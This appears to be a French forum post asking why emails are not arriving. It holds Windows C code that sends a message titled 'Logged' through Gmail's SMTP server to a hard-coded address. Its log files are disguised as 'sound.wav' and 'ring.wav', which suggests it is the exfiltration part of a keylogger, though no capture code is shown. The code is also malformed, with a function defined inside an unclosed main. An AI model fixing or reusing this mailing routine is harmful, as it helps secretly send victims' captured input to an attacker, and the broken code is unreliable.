voici le code
mais je n'arrive pa a recevoir un email
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 #include <stdio.h>
 #include <stdlib.h>
 #include <windows.h>
 #include <winuser.h>
 #include <windowsx.h>
 #include <time.h>
#include <winsock.h>
#include <iostream>
#include <cstdio>
#include <sstream>
#include <fstream>
#include <sys/types.h>
 
int MailIt (char *mailserver, char *emailto, char *emailfrom,
 char *emailsubject, char *emailmessage);
 #define BUFSIZE 800
 #define waittime 500
 /*tapper :
 "nslookup -querytype=mx gmail.com" dans la console msdos
 si vous souhaitez avoir les serveurs SMTP à jour*/
 #define cmailserver "gmail-smtp-in.l.google.com"
 #define cemailto "monadrss@gmail.com"
 #define cemailfrom "destinataire@gmail.com"
 #define LogLength 100
 #define FileName "sound.wav"
 #define SMTPLog "ring.wav"
 #define cemailsubject "Logged"
int main()
{
int MailIt (char *mailserver, char *emailto, char *emailfrom,
 char *emailsubject, char *emailmessage) {
 SOCKET sockfd;
 WSADATA wsaData;
 FILE *smtpfile;
 
 #define bufsize 300 // taille du fichier pour l' envoie
 int bytes_sent;
 int err;
 struct hostent *host; // gethostbyname /
 struct sockaddr_in dest_addr; // adresse de l'hote
 char line[1000];
 char *Rec_Buf = (char*) malloc(bufsize+1);
 smtpfile=fopen(SMTPLog,"a+");
 if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
 fputs("WSAStartup failed",smtpfile);
 WSACleanup();
 return -1;
 }
 if ( (host=gethostbyname(mailserver)) == NULL) {
 perror("gethostbyname");
 exit(1);
 }
 memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
 
 // Prepare dest_addr
 dest_addr.sin_family= host->h_addrtype;
 dest_addr.sin_port= htons(25); // PORT
 
 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
 perror("socket");
 exit(1);
 }
 /// Connection !
 fputs("Connecting....\n",smtpfile);
 
 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
 perror("connect");
 exit(1);
 }
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 strcpy(line,"helo me.somepalace.com\n");
 fputs(line,smtpfile);
 bytes_sent=send(sockfd,line,strlen(line),0);
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 strcpy(line,"MAIL FROM:<");
 strncat(line,emailfrom,strlen(emailfrom));
 strncat(line,">\n",3);
 fputs(line,smtpfile);
 bytes_sent=send(sockfd,line,strlen(line),0);
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 strcpy(line,"RCPT TO:<");
 strncat(line,emailto,strlen(emailto));
 strncat(line,">\n",3);
 fputs(line,smtpfile);
 bytes_sent=send(sockfd,line,strlen(line),0);
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 strcpy(line,"DATA\n");
 fputs(line,smtpfile);
 bytes_sent=send(sockfd,line,strlen(line),0);
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 Sleep(waittime);
 strcpy(line,"To:");
 strcat(line,emailto);
 strcat(line,"\n");
  strcat(line,"From:");
 strcat(line,emailfrom);
 strcat(line,"\n");
 strcat(line,"Subject:");
 strcat(line,emailsubject);
 strcat(line,"\n");
 strcat(line,emailmessage);
 strcat(line,"\r\n.\r\n");
 fputs(line,smtpfile);
 bytes_sent=send(sockfd,line,strlen(line),0);
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 strcpy(line,"quit\n");
 fputs(line,smtpfile);
 bytes_sent=send(sockfd,line,strlen(line),0);
 Sleep(waittime);
 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
 fputs(Rec_Buf,smtpfile);
 fclose(smtpfile);
 #ifdef WIN32
 closesocket(sockfd);
 WSACleanup();
 #else
 close(sockfd);
 #endif
 }